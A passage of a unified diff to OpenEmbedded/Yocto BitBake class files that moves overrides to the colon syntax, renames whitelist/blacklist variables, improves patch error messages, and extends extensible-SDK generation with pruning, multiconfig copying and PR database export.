+# There is a bug in patch 2.7.3 and earlier where index lines
+# in patches can change file modes when they shouldn't:
+# http://git.savannah.gnu.org/cgit/patch.git/patch/?id=82b800c9552a088a241457948219d25ce0a407a4
+# This leaks into debug sources in particular. Add the dependency
+# to target recipes to avoid this problem until we can rely on 2.7.4 or later.
+PATCHDEPENDENCY:append:class-target = " patch-replacement-native:do_populate_sysroot"
+
PATCH_GIT_USER_NAME ?= "OpenEmbedded"
PATCH_GIT_USER_EMAIL ?= "oe.patch@oe"
@@ -124,6 +131,9 @@ python patch_do_patch() {
patchdir = parm["patchdir"]
if not os.path.isabs(patchdir):
patchdir = os.path.join(s, patchdir)
+ if not os.path.isdir(patchdir):
+ bb.fatal("Target directory '%s' not found, patchdir '%s' is incorrect in patch file '%s'" %
+ (patchdir, parm["patchdir"], parm['patchname']))
else:
patchdir = s
@@ -140,12 +150,12 @@ python patch_do_patch() {
patchset.Import({"file":local, "strippath": parm['striplevel']}, True)
except Exception as exc:
bb.utils.remove(process_tmpdir, True)
- bb.fatal(str(exc))
+ bb.fatal("Importing patch '%s' with striplevel '%s'\n%s" % (parm['patchname'], parm['striplevel'], repr(exc).replace("\\n", "\n")))
try:
resolver.Resolve()
except bb.BBHandledException as e:
bb.utils.remove(process_tmpdir, True)
- bb.fatal(str(e))
+ bb.fatal("Applying patch '%s' on target directory '%s'\n%s" % (parm['patchname'], patchdir, repr(e).replace("\\n", "\n")))
bb.utils.remove(process_tmpdir, True)
del os.environ['TMPDIR']
@@ -153,7 +163,6 @@ python patch_do_patch() {
patch_do_patch[vardepsexclude] = "PATCHRESOLVE"
addtask patch after do_unpack
-do_patch[umask] = "022"
do_patch[dirs] = "${WORKDIR}"
do_patch[depends] = "${PATCHDEPENDENCY}"
diff --git a/meta/classes/pixbufcache.bbclass b/meta/classes/pixbufcache.bbclass
index b07f51ed56..886bf195b3 100644
--- a/meta/classes/pixbufcache.bbclass
+++ b/meta/classes/pixbufcache.bbclass
@@ -3,7 +3,7 @@
# packages.
#
-DEPENDS_append_class-target = " qemu-native"
+DEPENDS:append:class-target = " qemu-native"
inherit qemu
PIXBUF_PACKAGES ??= "${PN}"
@@ -29,30 +29,30 @@ else
fi
}
-python populate_packages_append() {
+python populate_packages:append() {
pixbuf_pkgs = d.getVar('PIXBUF_PACKAGES').split()
for pkg in pixbuf_pkgs:
bb.note("adding pixbuf postinst and postrm scripts to %s" % pkg)
- postinst = d.getVar('pkg_postinst_%s' % pkg) or d.getVar('pkg_postinst')
+ postinst = d.getVar('pkg_postinst:%s' % pkg) or d.getVar('pkg_postinst')
if not postinst:
postinst = '#!/bin/sh\n'
postinst += d.getVar('pixbufcache_common')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
- postrm = d.getVar('pkg_postrm_%s' % pkg) or d.getVar('pkg_postrm')
+ postrm = d.getVar('pkg_postrm:%s' % pkg) or d.getVar('pkg_postrm')
if not postrm:
postrm = '#!/bin/sh\n'
postrm += d.getVar('pixbufcache_common')
- d.setVar('pkg_postrm_%s' % pkg, postrm)
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
}
gdkpixbuf_complete() {
GDK_PIXBUF_FATAL_LOADER=1 ${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/gdk-pixbuf-query-loaders --update-cache || exit 1
}
-DEPENDS_append_class-native = " gdk-pixbuf-native"
-SYSROOT_PREPROCESS_FUNCS_append_class-native = " pixbufcache_sstate_postinst"
+DEPENDS:append:class-native = " gdk-pixbuf-native"
+SYSROOT_PREPROCESS_FUNCS:append:class-native = " pixbufcache_sstate_postinst"
pixbufcache_sstate_postinst() {
mkdir -p ${SYSROOT_DESTDIR}${bindir}
diff --git a/meta/classes/pkgconfig.bbclass b/meta/classes/pkgconfig.bbclass
index ad1f84f506..fa94527ce9 100644
--- a/meta/classes/pkgconfig.bbclass
+++ b/meta/classes/pkgconfig.bbclass
@@ -1,2 +1,2 @@
-DEPENDS_prepend = "pkgconfig-native "
+DEPENDS:prepend = "pkgconfig-native "
diff --git a/meta/classes/populate_sdk_base.bbclass b/meta/classes/populate_sdk_base.bbclass
index d03465b6fc..16f929bf59 100644
--- a/meta/classes/populate_sdk_base.bbclass
+++ b/meta/classes/populate_sdk_base.bbclass
@@ -1,4 +1,6 @@
-inherit meta image-postinst-intercepts
+PACKAGES = ""
+
+inherit image-postinst-intercepts image-artifact-names
# Wildcards specifying complementary packages to install for every package that has been explicitly
# installed into the rootfs
@@ -21,8 +23,9 @@ def complementary_globs(featurevar, d):
SDKIMAGE_FEATURES ??= "dev-pkgs dbg-pkgs src-pkgs ${@bb.utils.contains('DISTRO_FEATURES', 'api-documentation', 'doc-pkgs', '', d)}"
SDKIMAGE_INSTALL_COMPLEMENTARY = '${@complementary_globs("SDKIMAGE_FEATURES", d)}'
+SDKIMAGE_INSTALL_COMPLEMENTARY[vardeps] += "SDKIMAGE_FEATURES"
-PACKAGE_ARCHS_append_task-populate-sdk = " sdk-provides-dummy-target"
+PACKAGE_ARCHS:append:task-populate-sdk = " sdk-provides-dummy-target"
SDK_PACKAGE_ARCHS += "sdk-provides-dummy-${SDKPKGSUFFIX}"
# List of locales to install, or "all" for all of them, or unset for none.
@@ -36,7 +39,7 @@ SDK_DEPLOY = "${DEPLOY_DIR}/sdk"
SDKDEPLOYDIR = "${WORKDIR}/${SDKMACHINE}-deploy-${PN}-populate-sdk"
-B_task-populate-sdk = "${SDK_DIR}"
+B:task-populate-sdk = "${SDK_DIR}"
SDKTARGETSYSROOT = "${SDKPATH}/sysroots/${REAL_MULTIMACH_TARGET_SYS}"
@@ -48,6 +51,8 @@ TOOLCHAIN_OUTPUTNAME ?= "${SDK_NAME}-toolchain-${SDK_VERSION}"
# Default archived SDK's suffix
SDK_ARCHIVE_TYPE ?= "tar.xz"
+SDK_XZ_COMPRESSION_LEVEL ?= "-9"
+SDK_XZ_OPTIONS ?= "${XZ_DEFAULTS} ${SDK_XZ_COMPRESSION_LEVEL}"
# To support different sdk type according to SDK_ARCHIVE_TYPE, now support zip and tar.xz
python () {
@@ -55,15 +60,15 @@ python () {
d.setVar('SDK_ARCHIVE_DEPENDS', 'zip-native')
# SDK_ARCHIVE_CMD used to generate archived sdk ${TOOLCHAIN_OUTPUTNAME}.${SDK_ARCHIVE_TYPE} from input dir ${SDK_OUTPUT}/${SDKPATH} to output dir ${SDKDEPLOYDIR}
# recommand to cd into input dir first to avoid archive with buildpath
- d.setVar('SDK_ARCHIVE_CMD', 'cd ${SDK_OUTPUT}/${SDKPATH}; zip -r ${SDKDEPLOYDIR}/${TOOLCHAIN_OUTPUTNAME}.${SDK_ARCHIVE_TYPE} .')
+ d.setVar('SDK_ARCHIVE_CMD', 'cd ${SDK_OUTPUT}/${SDKPATH}; zip -r -y ${SDKDEPLOYDIR}/${TOOLCHAIN_OUTPUTNAME}.${SDK_ARCHIVE_TYPE} .')
else:
d.setVar('SDK_ARCHIVE_DEPENDS', 'xz-native')
- d.setVar('SDK_ARCHIVE_CMD', 'cd ${SDK_OUTPUT}/${SDKPATH}; tar ${SDKTAROPTS} -cf - . | xz -T 0 -9 > ${SDKDEPLOYDIR}/${TOOLCHAIN_OUTPUTNAME}.${SDK_ARCHIVE_TYPE}')
+ d.setVar('SDK_ARCHIVE_CMD', 'cd ${SDK_OUTPUT}/${SDKPATH}; tar ${SDKTAROPTS} -cf - . | xz ${SDK_XZ_OPTIONS} > ${SDKDEPLOYDIR}/${TOOLCHAIN_OUTPUTNAME}.${SDK_ARCHIVE_TYPE}')
}
SDK_RDEPENDS = "${TOOLCHAIN_TARGET_TASK} ${TOOLCHAIN_HOST_TASK}"
SDK_DEPENDS = "virtual/fakeroot-native ${SDK_ARCHIVE_DEPENDS} cross-localedef-native nativesdk-qemuwrapper-cross ${@' '.join(["%s-qemuwrapper-cross" % m for m in d.getVar("MULTILIB_VARIANTS").split()])} qemuwrapper-cross"
-PATH_prepend = "${STAGING_DIR_HOST}${SDKPATHNATIVE}${bindir}/crossscripts:${@":".join(all_multilib_tune_values(d, 'STAGING_BINDIR_CROSS').split())}:"
+PATH:prepend = "${WORKDIR}/recipe-sysroot/${SDKPATHNATIVE}${bindir}/crossscripts:${@":".join(all_multilib_tune_values(d, 'STAGING_BINDIR_CROSS').split())}:"
SDK_DEPENDS += "nativesdk-glibc-locale"
# We want the MULTIARCH_TARGET_SYS to point to the TUNE_PKGARCH, not PACKAGE_ARCH as it
@@ -87,6 +92,8 @@ SDK_HOST_MANIFEST = "${SDKDEPLOYDIR}/${TOOLCHAIN_OUTPUTNAME}.host.manifest"
SDK_EXT_TARGET_MANIFEST = "${SDK_DEPLOY}/${TOOLCHAINEXT_OUTPUTNAME}.target.manifest"
SDK_EXT_HOST_MANIFEST = "${SDK_DEPLOY}/${TOOLCHAINEXT_OUTPUTNAME}.host.manifest"
+SDK_PRUNE_SYSROOT_DIRS ?= "/dev"
+
python write_target_sdk_manifest () {
from oe.sdk import sdk_list_installed_packages
from oe.utils import format_pkg_list
@@ -98,6 +105,12 @@ python write_target_sdk_manifest () {
output.write(format_pkg_list(pkgs, 'ver'))
}
+sdk_prune_dirs () {
+ for d in ${SDK_PRUNE_SYSROOT_DIRS}; do
+ rm -rf ${SDK_OUTPUT}${SDKTARGETSYSROOT}$d
+ done
+}
+
python write_sdk_test_data() {
from oe.data import export2json
testdata = "%s/%s.testdata.json" % (d.getVar('SDKDEPLOYDIR'), d.getVar('TOOLCHAIN_OUTPUTNAME'))
@@ -116,9 +129,10 @@ python write_host_sdk_manifest () {
output.write(format_pkg_list(pkgs, 'ver'))
}
-POPULATE_SDK_POST_TARGET_COMMAND_append = " write_sdk_test_data ; "
-POPULATE_SDK_POST_TARGET_COMMAND_append_task-populate-sdk = " write_target_sdk_manifest ; "
-POPULATE_SDK_POST_HOST_COMMAND_append_task-populate-sdk = " write_host_sdk_manifest; "
+POPULATE_SDK_POST_TARGET_COMMAND:append = " write_sdk_test_data ; "
+POPULATE_SDK_POST_TARGET_COMMAND:append:task-populate-sdk = " write_target_sdk_manifest; sdk_prune_dirs; "
+POPULATE_SDK_POST_HOST_COMMAND:append:task-populate-sdk = " write_host_sdk_manifest; "
+
SDK_PACKAGING_COMMAND = "${@'${SDK_PACKAGING_FUNC};' if '${SDK_PACKAGING_FUNC}' else ''}"
SDK_POSTPROCESS_COMMAND = " create_sdk_files; check_sdk_sysroots; archive_sdk; ${SDK_PACKAGING_COMMAND} "
@@ -169,11 +183,17 @@ fakeroot python do_populate_sdk() {
populate_sdk_common(d)
}
SSTATETASKS += "do_populate_sdk"
-SSTATE_SKIP_CREATION_task-populate-sdk = '1'
+SSTATE_SKIP_CREATION:task-populate-sdk = '1'
do_populate_sdk[cleandirs] = "${SDKDEPLOYDIR}"
do_populate_sdk[sstate-inputdirs] = "${SDKDEPLOYDIR}"
do_populate_sdk[sstate-outputdirs] = "${SDK_DEPLOY}"
do_populate_sdk[stamp-extra-info] = "${MACHINE_ARCH}${SDKMACHINE}"
+python do_populate_sdk_setscene () {
+ sstate_setscene(d)
+}
+addtask do_populate_sdk_setscene
+
+PSEUDO_IGNORE_PATHS .= ",${SDKDEPLOYDIR},${WORKDIR}/oe-sdk-repo,${WORKDIR}/sstate-build-populate_sdk"
fakeroot create_sdk_files() {
cp ${COREBASE}/scripts/relocate_sdk.py ${SDK_OUTPUT}/${SDKPATH}/
@@ -182,6 +202,11 @@ fakeroot create_sdk_files() {
# Escape special characters like '+' and '.' in the SDKPATH
escaped_sdkpath=$(echo ${SDKPATH} |sed -e "s:[\+\.]:\\\\\\\\\0:g")
sed -i -e "s:##DEFAULT_INSTALL_DIR##:$escaped_sdkpath:" ${SDK_OUTPUT}/${SDKPATH}/relocate_sdk.py
+
+ mkdir -p ${SDK_OUTPUT}/${SDKPATHNATIVE}${sysconfdir}/
+ echo '${SDKPATHNATIVE}${libdir_nativesdk}
+${SDKPATHNATIVE}${base_libdir_nativesdk}
+include /etc/ld.so.conf' > ${SDK_OUTPUT}/${SDKPATHNATIVE}${sysconfdir}/ld.so.conf
}
python check_sdk_sysroots() {
@@ -253,7 +278,7 @@ fakeroot create_shar() {
rm -f ${T}/pre_install_command ${T}/post_install_command
- if [ ${SDK_RELOCATE_AFTER_INSTALL} -eq 1 ] ; then
+ if [ "${SDK_RELOCATE_AFTER_INSTALL}" = "1" ] ; then
cp ${TOOLCHAIN_SHAR_REL_TMPL} ${T}/post_install_command
fi
cat << "EOF" >> ${T}/pre_install_command
@@ -270,6 +295,7 @@ EOF
# substitute variables
sed -i -e 's#@SDK_ARCH@#${SDK_ARCH}#g' \
-e 's#@SDKPATH@#${SDKPATH}#g' \
+ -e 's#@SDKPATHINSTALL@#${SDKPATHINSTALL}#g' \
-e 's#@SDKEXTPATH@#${SDKEXTPATH}#g' \
-e 's#@OLDEST_KERNEL@#${SDK_OLDEST_KERNEL}#g' \
-e 's#@REAL_MULTIMACH_TARGET_SYS@#${REAL_MULTIMACH_TARGET_SYS}#g' \
@@ -319,6 +345,13 @@ def sdk_variables(d):
do_populate_sdk[vardeps] += "${@sdk_variables(d)}"
+python () {
+ variables = sdk_command_variables(d)
+ for var in variables:
+ if d.getVar(var, False):
+ d.setVarFlag(var, 'func', '1')
+}
+
do_populate_sdk[file-checksums] += "${TOOLCHAIN_SHAR_REL_TMPL}:True \
${TOOLCHAIN_SHAR_EXT_TMPL}:True"
diff --git a/meta/classes/populate_sdk_ext.bbclass b/meta/classes/populate_sdk_ext.bbclass
index 9fda1c9e78..e2019f9bbf 100644
--- a/meta/classes/populate_sdk_ext.bbclass
+++ b/meta/classes/populate_sdk_ext.bbclass
@@ -2,30 +2,28 @@
inherit populate_sdk_base
-# NOTE: normally you cannot use task overrides for this kind of thing - this
-# only works because of get_sdk_ext_rdepends()
-
-TOOLCHAIN_HOST_TASK_task-populate-sdk-ext = " \
+# Used to override TOOLCHAIN_HOST_TASK in the eSDK case
+TOOLCHAIN_HOST_TASK_ESDK = " \
meta-environment-extsdk-${MACHINE} \
"
-TOOLCHAIN_TARGET_TASK_task-populate-sdk-ext = ""
-
-SDK_RELOCATE_AFTER_INSTALL_task-populate-sdk-ext = "0"
+SDK_RELOCATE_AFTER_INSTALL:task-populate-sdk-ext = "0"
SDK_EXT = ""
-SDK_EXT_task-populate-sdk-ext = "-ext"
+SDK_EXT:task-populate-sdk-ext = "-ext"
# Options are full or minimal
SDK_EXT_TYPE ?= "full"
SDK_INCLUDE_PKGDATA ?= "0"
SDK_INCLUDE_TOOLCHAIN ?= "${@'1' if d.getVar('SDK_EXT_TYPE') == 'full' else '0'}"
SDK_INCLUDE_NATIVESDK ?= "0"
+SDK_INCLUDE_BUILDTOOLS ?= '1'
SDK_RECRDEP_TASKS ?= ""
+SDK_CUSTOM_TEMPLATECONF ?= "0"
-SDK_LOCAL_CONF_WHITELIST ?= ""
-SDK_LOCAL_CONF_BLACKLIST ?= "CONF_VERSION \
+ESDK_LOCALCONF_ALLOW ?= ""
+ESDK_LOCALCONF_REMOVE ?= "CONF_VERSION \
BB_NUMBER_THREADS \
BB_NUMBER_PARSE_THREADS \
PARALLEL_MAKE \
@@ -36,7 +34,7 @@ SDK_LOCAL_CONF_BLACKLIST ?= "CONF_VERSION \
TMPDIR \
BB_SERVER_TIMEOUT \
"
-SDK_INHERIT_BLACKLIST ?= "buildhistory icecc"
+ESDK_CLASS_INHERIT_DISABLE ?= "buildhistory icecc"
SDK_UPDATE_URL ?= ""
SDK_TARGETS ?= "${PN}"
@@ -76,10 +74,10 @@ COREBASE_FILES ?= " \
.templateconf \
"
-SDK_DIR_task-populate-sdk-ext = "${WORKDIR}/sdk-ext"
-B_task-populate-sdk-ext = "${SDK_DIR}"
+SDK_DIR:task-populate-sdk-ext = "${WORKDIR}/sdk-ext"
+B:task-populate-sdk-ext = "${SDK_DIR}"
TOOLCHAINEXT_OUTPUTNAME ?= "${SDK_NAME}-toolchain-ext-${SDK_VERSION}"
-TOOLCHAIN_OUTPUTNAME_task-populate-sdk-ext = "${TOOLCHAINEXT_OUTPUTNAME}"
+TOOLCHAIN_OUTPUTNAME:task-populate-sdk-ext = "${TOOLCHAINEXT_OUTPUTNAME}"
SDK_EXT_TARGET_MANIFEST = "${SDK_DEPLOY}/${TOOLCHAINEXT_OUTPUTNAME}.target.manifest"
SDK_EXT_HOST_MANIFEST = "${SDK_DEPLOY}/${TOOLCHAINEXT_OUTPUTNAME}.host.manifest"
@@ -94,6 +92,7 @@ python write_target_sdk_ext_manifest () {
real_target_multimach = d.getVar('REAL_MULTIMACH_TARGET_SYS')
pkgs = {}
+ os.makedirs(os.path.dirname(d.getVar('SDK_EXT_TARGET_MANIFEST')), exist_ok=True)
with open(d.getVar('SDK_EXT_TARGET_MANIFEST'), 'w') as f:
for fn in extra_info['filesizes']:
info = fn.split(':')
@@ -115,14 +114,14 @@ python write_host_sdk_ext_manifest () {
f.write("%s %s %s\n" % (info[1], info[2], info[3]))
}
-SDK_POSTPROCESS_COMMAND_append_task-populate-sdk-ext = "write_target_sdk_ext_manifest; write_host_sdk_ext_manifest; "
+SDK_POSTPROCESS_COMMAND:append:task-populate-sdk-ext = "write_target_sdk_ext_manifest; write_host_sdk_ext_manifest; "
-SDK_TITLE_task-populate-sdk-ext = "${@d.getVar('DISTRO_NAME') or d.getVar('DISTRO')} Extensible SDK"
+SDK_TITLE:task-populate-sdk-ext = "${@d.getVar('DISTRO_NAME') or d.getVar('DISTRO')} Extensible SDK"
def clean_esdk_builddir(d, sdkbasepath):
"""Clean up traces of the fake build for create_filtered_tasklist()"""
import shutil
- cleanpaths = 'cache conf/sanity_info tmp'.split()
+ cleanpaths = ['cache', 'tmp']
for pth in cleanpaths:
fullpth = os.path.join(sdkbasepath, pth)
if os.path.isdir(fullpth):
@@ -144,15 +143,15 @@ def create_filtered_tasklist(d, sdkbasepath, tasklistfile, conf_initpath):
try:
with open(sdkbasepath + '/conf/local.conf', 'a') as f:
# Force the use of sstate from the build system
- f.write('\nSSTATE_DIR_forcevariable = "%s"\n' % d.getVar('SSTATE_DIR'))
- f.write('SSTATE_MIRRORS_forcevariable = "file://universal/(.*) file://universal-4.9/\\1 file://universal-4.9/(.*) file://universal-4.8/\\1"\n')
+ f.write('\nSSTATE_DIR:forcevariable = "%s"\n' % d.getVar('SSTATE_DIR'))
+ f.write('SSTATE_MIRRORS:forcevariable = "file://universal/(.*) file://universal-4.9/\\1 file://universal-4.9/(.*) file://universal-4.8/\\1"\n')
# Ensure TMPDIR is the default so that clean_esdk_builddir() can delete it
- f.write('TMPDIR_forcevariable = "${TOPDIR}/tmp"\n')
- f.write('TCLIBCAPPEND_forcevariable = ""\n')
+ f.write('TMPDIR:forcevariable = "${TOPDIR}/tmp"\n')
+ f.write('TCLIBCAPPEND:forcevariable = ""\n')
# Drop uninative if the build isn't using it (or else NATIVELSBSTRING will
# be different and we won't be able to find our native sstate)
if not bb.data.inherits_class('uninative', d):
- f.write('INHERIT_remove = "uninative"\n')
+ f.write('INHERIT:remove = "uninative"\n')
# Unfortunately the default SDKPATH (or even a custom value) may contain characters that bitbake
# will not allow in its COREBASE path, so we need to rename the directory temporarily
@@ -162,7 +161,7 @@ def create_filtered_tasklist(d, sdkbasepath, tasklistfile, conf_initpath):
shutil.rmtree(temp_sdkbasepath)
except FileNotFoundError:
pass
- os.rename(sdkbasepath, temp_sdkbasepath)
+ bb.utils.rename(sdkbasepath, temp_sdkbasepath)
cmdprefix = '. %s .; ' % conf_initpath
logfile = d.getVar('WORKDIR') + '/tasklist_bb_log.txt'
try:
@@ -172,12 +171,14 @@ def create_filtered_tasklist(d, sdkbasepath, tasklistfile, conf_initpath):
if 'attempted to execute unexpectedly and should have been setscened' in e.stdout:
msg += '\n----------\n\nNOTE: "attempted to execute unexpectedly and should have been setscened" errors indicate this may be caused by missing sstate artifacts that were likely produced in earlier builds, but have been subsequently deleted for some reason.\n'
bb.fatal(msg)
- os.rename(temp_sdkbasepath, sdkbasepath)
+ bb.utils.rename(temp_sdkbasepath, sdkbasepath)
# Clean out residue of running bitbake, which check_sstate_task_list()
# will effectively do
clean_esdk_builddir(d, sdkbasepath)
finally:
- os.replace(sdkbasepath + '/conf/local.conf.bak', sdkbasepath + '/conf/local.conf')
+ localconf = sdkbasepath + '/conf/local.conf'
+ if os.path.exists(localconf + '.bak'):
+ os.replace(localconf + '.bak', localconf)
python copy_buildsystem () {
import re
@@ -195,6 +196,9 @@ python copy_buildsystem () {
buildsystem = oe.copy_buildsystem.BuildSystem('extensible SDK', d)
baseoutpath = d.getVar('SDK_OUTPUT') + '/' + d.getVar('SDKPATH')
+ #check if custome templateconf path is set
+ use_custom_templateconf = d.getVar('SDK_CUSTOM_TEMPLATECONF')
+
# Determine if we're building a derivative extensible SDK (from devtool build-sdk)
derivative = (d.getVar('SDK_DERIVATIVE') or '') == '1'
if derivative:
@@ -243,7 +247,9 @@ python copy_buildsystem () {
# Create a layer for new recipes / appends
bbpath = d.getVar('BBPATH')
- bb.process.run(['devtool', '--bbpath', bbpath, '--basepath', baseoutpath, 'create-workspace', '--create-only', os.path.join(baseoutpath, 'workspace')])
+ env = os.environ.copy()
+ env['PYTHONDONTWRITEBYTECODE'] = '1'
+ bb.process.run(['devtool', '--bbpath', bbpath, '--basepath', baseoutpath, 'create-workspace', '--create-only', os.path.join(baseoutpath, 'workspace')], env=env)
# Create bblayers.conf
bb.utils.mkdirhier(baseoutpath + '/conf')
@@ -276,8 +282,8 @@ python copy_buildsystem () {
bb.utils.mkdirhier(uninative_outdir)
shutil.copy(uninative_file, uninative_outdir)
- env_whitelist = (d.getVar('BB_ENV_EXTRAWHITE') or '').split()
- env_whitelist_values = {}
+ env_passthrough = (d.getVar('BB_ENV_PASSTHROUGH_ADDITIONS') or '').split()
+ env_passthrough_values = {}
# Create local.conf
builddir = d.getVar('TOPDIR')
@@ -288,15 +294,15 @@ python copy_buildsystem () {
if derivative:
shutil.copyfile(builddir + '/conf/local.conf', baseoutpath + '/conf/local.conf')
else:
- local_conf_whitelist = (d.getVar('SDK_LOCAL_CONF_WHITELIST') or '').split()
- local_conf_blacklist = (d.getVar('SDK_LOCAL_CONF_BLACKLIST') or '').split()
+ local_conf_allowed = (d.getVar('ESDK_LOCALCONF_ALLOW') or '').split()
+ local_conf_remove = (d.getVar('ESDK_LOCALCONF_REMOVE') or '').split()
def handle_var(varname, origvalue, op, newlines):
- if varname in local_conf_blacklist or (origvalue.strip().startswith('/') and not varname in local_conf_whitelist):
+ if varname in local_conf_remove or (origvalue.strip().startswith('/') and not varname in local_conf_allowed):
newlines.append('# Removed original setting of %s\n' % varname)
return None, op, 0, True
else:
- if varname in env_whitelist:
- env_whitelist_values[varname] = origvalue
+ if varname in env_passthrough:
+ env_passthrough_values[varname] = origvalue
return origvalue, op, 0, True
varlist = ['[^#=+ ]*']
oldlines = []
@@ -306,8 +312,9 @@ python copy_buildsystem () {
if os.path.exists(builddir + '/conf/auto.conf'):
with open(builddir + '/conf/auto.conf', 'r') as f:
oldlines += f.readlines()
- with open(builddir + '/conf/local.conf', 'r') as f:
- oldlines += f.readlines()
+ if os.path.exists(builddir + '/conf/local.conf'):
+ with open(builddir + '/conf/local.conf', 'r') as f:
+ oldlines += f.readlines()
(updated, newlines) = bb.utils.edit_metadata(oldlines, varlist, handle_var)
with open(baseoutpath + '/conf/local.conf', 'w') as f:
@@ -331,7 +338,7 @@ python copy_buildsystem () {
f.write('CONF_VERSION = "%s"\n\n' % d.getVar('CONF_VERSION', False))
# Some classes are not suitable for SDK, remove them from INHERIT
- f.write('INHERIT_remove = "%s"\n' % d.getVar('SDK_INHERIT_BLACKLIST', False))
+ f.write('INHERIT:remove = "%s"\n' % d.getVar('ESDK_CLASS_INHERIT_DISABLE', False))
# Bypass the default connectivity check if any
f.write('CONNECTIVITY_CHECK_URIS = ""\n\n')
@@ -347,20 +354,27 @@ python copy_buildsystem () {
f.write('SIGGEN_LOCKEDSIGS_TASKSIG_CHECK = "warn"\n\n')
# We want to be able to set this without a full reparse
- f.write('BB_HASHCONFIG_WHITELIST_append = " SIGGEN_UNLOCKED_RECIPES"\n\n')
+ f.write('BB_HASHCONFIG_IGNORE_VARS:append = " SIGGEN_UNLOCKED_RECIPES"\n\n')
- # Set up whitelist for run on install
- f.write('BB_SETSCENE_ENFORCE_WHITELIST = "%:* *:do_shared_workdir *:do_rm_work wic-tools:* *:do_addto_recipe_sysroot"\n\n')
+ # Set up which tasks are ignored for run on install
+ f.write('BB_SETSCENE_ENFORCE_IGNORE_TASKS = "%:* *:do_shared_workdir *:do_rm_work wic-tools:* *:do_addto_recipe_sysroot"\n\n')
# Hide the config information from bitbake output (since it's fixed within the SDK)
f.write('BUILDCFG_HEADER = ""\n\n')
+ # Write METADATA_REVISION
+ f.write('METADATA_REVISION = "%s"\n\n' % d.getVar('METADATA_REVISION'))
+
f.write('# Provide a flag to indicate we are in the EXT_SDK Context\n')
f.write('WITHIN_EXT_SDK = "1"\n\n')
# Map gcc-dependent uninative sstate cache for installer usage
f.write('SSTATE_MIRRORS += " file://universal/(.*) file://universal-4.9/\\1 file://universal-4.9/(.*) file://universal-4.8/\\1"\n\n')
+ if d.getVar("PRSERV_HOST"):
+ # Override this, we now include PR data, so it should only point ot the local database
+ f.write('PRSERV_HOST = "localhost:0"\n\n')
+
# Allow additional config through sdk-extra.conf
fn = bb.cookerdata.findConfigFile('sdk-extra.conf', d)
if fn:
@@ -379,19 +393,52 @@ python copy_buildsystem () {
f.write('require conf/locked-sigs.inc\n')
f.write('require conf/unlocked-sigs.inc\n')
+ # Copy multiple configurations if they exist in the users config directory
+ if d.getVar('BBMULTICONFIG') is not None:
+ bb.utils.mkdirhier(os.path.join(baseoutpath, 'conf', 'multiconfig'))
+ for mc in d.getVar('BBMULTICONFIG').split():
+ dest_stub = "/conf/multiconfig/%s.conf" % (mc,)
+ if os.path.exists(builddir + dest_stub):
+ shutil.copyfile(builddir + dest_stub, baseoutpath + dest_stub)
+
if os.path.exists(builddir + '/cache/bb_unihashes.dat'):
bb.parse.siggen.save_unitaskhashes()
bb.utils.mkdirhier(os.path.join(baseoutpath, 'cache'))
shutil.copyfile(builddir + '/cache/bb_unihashes.dat', baseoutpath + '/cache/bb_unihashes.dat')
- # Write a templateconf.cfg
- with open(baseoutpath + '/conf/templateconf.cfg', 'w') as f:
- f.write('meta/conf\n')
+ # If PR Service is in use, we need to export this as well
+ bb.note('Do we have a pr database?')
+ if d.getVar("PRSERV_HOST"):
+ bb.note('Writing PR database...')
+ # Based on the code in classes/prexport.bbclass
+ import oe.prservice
+ #dump meta info of tables
+ localdata = d.createCopy()
+ localdata.setVar('PRSERV_DUMPOPT_COL', "1")
+ localdata.setVar('PRSERV_DUMPDIR', os.path.join(baseoutpath, 'conf'))
+ localdata.setVar('PRSERV_DUMPFILE', '${PRSERV_DUMPDIR}/prserv.inc')
+
+ bb.note('PR Database write to %s' % (localdata.getVar('PRSERV_DUMPFILE')))
+
+ retval = oe.prservice.prserv_dump_db(localdata)
+ if not retval:
+ bb.error("prexport_handler: export failed!")
+ return
+ (metainfo, datainfo) = retval
+ oe.prservice.prserv_export_tofile(localdata, metainfo, datainfo, True)
+
+ # Use templateconf.cfg file from builddir if exists
+ if os.path.exists(builddir + '/conf/templateconf.cfg') and use_custom_templateconf == '1':
+ shutil.copyfile(builddir + '/conf/templateconf.cfg', baseoutpath + '/conf/templateconf.cfg')
+ else:
+ # Write a templateconf.cfg
+ with open(baseoutpath + '/conf/templateconf.cfg', 'w') as f:
+ f.write('meta/conf\n')
# Ensure any variables set from the external environment (by way of
- # BB_ENV_EXTRAWHITE) are set in the SDK's configuration
+ # BB_ENV_PASSTHROUGH_ADDITIONS) are set in the SDK's configuration
extralines = []
- for name, value in env_whitelist_values.items():
+ for name, value in env_passthrough_values.items():
actualvalue = d.getVar(name) or ''
if value != actualvalue:
extralines.append('%s = "%s"\n' % (name, actualvalue))
@@ -503,7 +550,7 @@ python copy_buildsystem () {
# We don't need sstate do_package files
for root, dirs, files in os.walk(sstate_out):
for name in files:
- if name.endswith("_package.tgz"):
+ if name.endswith("_package.tar.zst"):
f = os.path.join(root, name)
os.remove(f)
@@ -513,11 +560,20 @@ python copy_buildsystem () {
# sdk_ext_postinst() below) thus the checksum we take here would always
# be different.
manifest_file_list = ['conf/*']
+ if d.getVar('BBMULTICONFIG') is not None:
+ manifest_file_list.append('conf/multiconfig/*')
+
+ esdk_manifest_excludes = (d.getVar('ESDK_MANIFEST_EXCLUDES') or '').split()
+ esdk_manifest_excludes_list = []
+ for exclude_item in esdk_manifest_excludes:
+ esdk_manifest_excludes_list += glob.glob(os.path.join(baseoutpath, exclude_item))
manifest_file = os.path.join(baseoutpath, 'conf', 'sdk-conf-manifest')
with open(manifest_file, 'w') as f:
for item in manifest_file_list:
for fn in glob.glob(os.path.join(baseoutpath, item)):
- if fn == manifest_file:
+ if fn == manifest_file or os.path.isdir(fn):
+ continue
+ if fn in esdk_manifest_excludes_list:
continue
chksum = bb.utils.sha256_file(fn)
f.write('%s\t%s\n' % (chksum, os.path.relpath(fn, baseoutpath)))
@@ -535,8 +591,12 @@ def get_sdk_required_utilities(buildtools_fn, d):
sanity_required_utilities = (d.getVar('SANITY_REQUIRED_UTILITIES') or '').split()
sanity_required_utilities.append(d.expand('${BUILD_PREFIX}gcc'))
sanity_required_utilities.append(d.expand('${BUILD_PREFIX}g++'))
- buildtools_installer = os.path.join(d.getVar('SDK_DEPLOY'), buildtools_fn)
- filelist, _ = bb.process.run('%s -l' % buildtools_installer)
+ if buildtools_fn:
